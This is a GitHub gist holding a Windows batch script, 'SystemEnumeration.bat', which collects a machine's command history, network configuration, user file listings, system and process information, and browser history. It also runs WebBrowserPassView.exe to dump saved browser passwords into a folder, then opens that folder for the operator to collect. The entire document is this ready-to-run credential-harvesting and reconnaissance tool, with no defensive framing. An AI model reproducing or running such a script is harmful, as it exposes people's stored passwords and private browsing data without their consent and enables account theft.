Skip to content

Instantly share code, notes, and snippets.

@mrpnkt
Created September 11, 2017 10:32
Show Gist options
  • Save mrpnkt/85fd5b0ad2bc5b71ebf09506a6b44fb6 to your computer and use it in GitHub Desktop.
Save mrpnkt/85fd5b0ad2bc5b71ebf09506a6b44fb6 to your computer and use it in GitHub Desktop.

Revisions

  1. mrpnkt created this gist Sep 11, 2017.
    47 changes: 47 additions & 0 deletions SystemEnumeration.bat
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,47 @@
    :: Name: SystemEnumeration.bat
    :: Purpose: Basic information about the environment, Browsing History & Passwords
    :: Author: mrpnkt
    :: Revision: 15/08/2017

    @ECHO OFF
    cls
    @echo.
    @echo === WINDOWS SYSTEM ENUMATOR (VERSION CHEE) ==================
    @echo.
    pause
    @echo.
    @echo + SystemEnumeration:
    @echo.
    @echo + Getting Command History
    @echo.
    SET filefolder=%cd%\SystemEnumeration
    mkdir %filefolder%
    doskey /h > %filefolder%/lastusedcommands.txt
    @echo + Getting ipconfig
    @echo.
    ipconfig /all > %filefolder%/ipconfig.txt
    @echo + Getting users folder structure
    @echo.
    tree c:\users /a>> %filefolder%/usertree.txt
    @echo + Listing users files
    @echo.
    forfiles /s /m *.* /c "cmd /c echo @relpath" >> %filefolder%/userfiles.txt
    @echo + Getting System info
    @echo.
    ver > version.txt
    systeminfo >> %filefolder%/systeminfo.txt
    tasklist >> %filefolder%/tasklist.txt
    @echo + Getting Web History
    @echo.
    BrowsingHistoryView.exe /stext %filefolder%/browserhistory.txt
    @echo + Getting Browser Passwords
    @echo.
    WebBrowserPassView.exe /stext %filefolder%/browserpasswords.txt
    @echo ALL DONE! GET THE FILES...
    @echo.
    del version.txt
    %SystemRoot%\explorer.exe %filefolder%
    :END
    ENDLOCAL
    ECHO ON
    @EXIT /B 0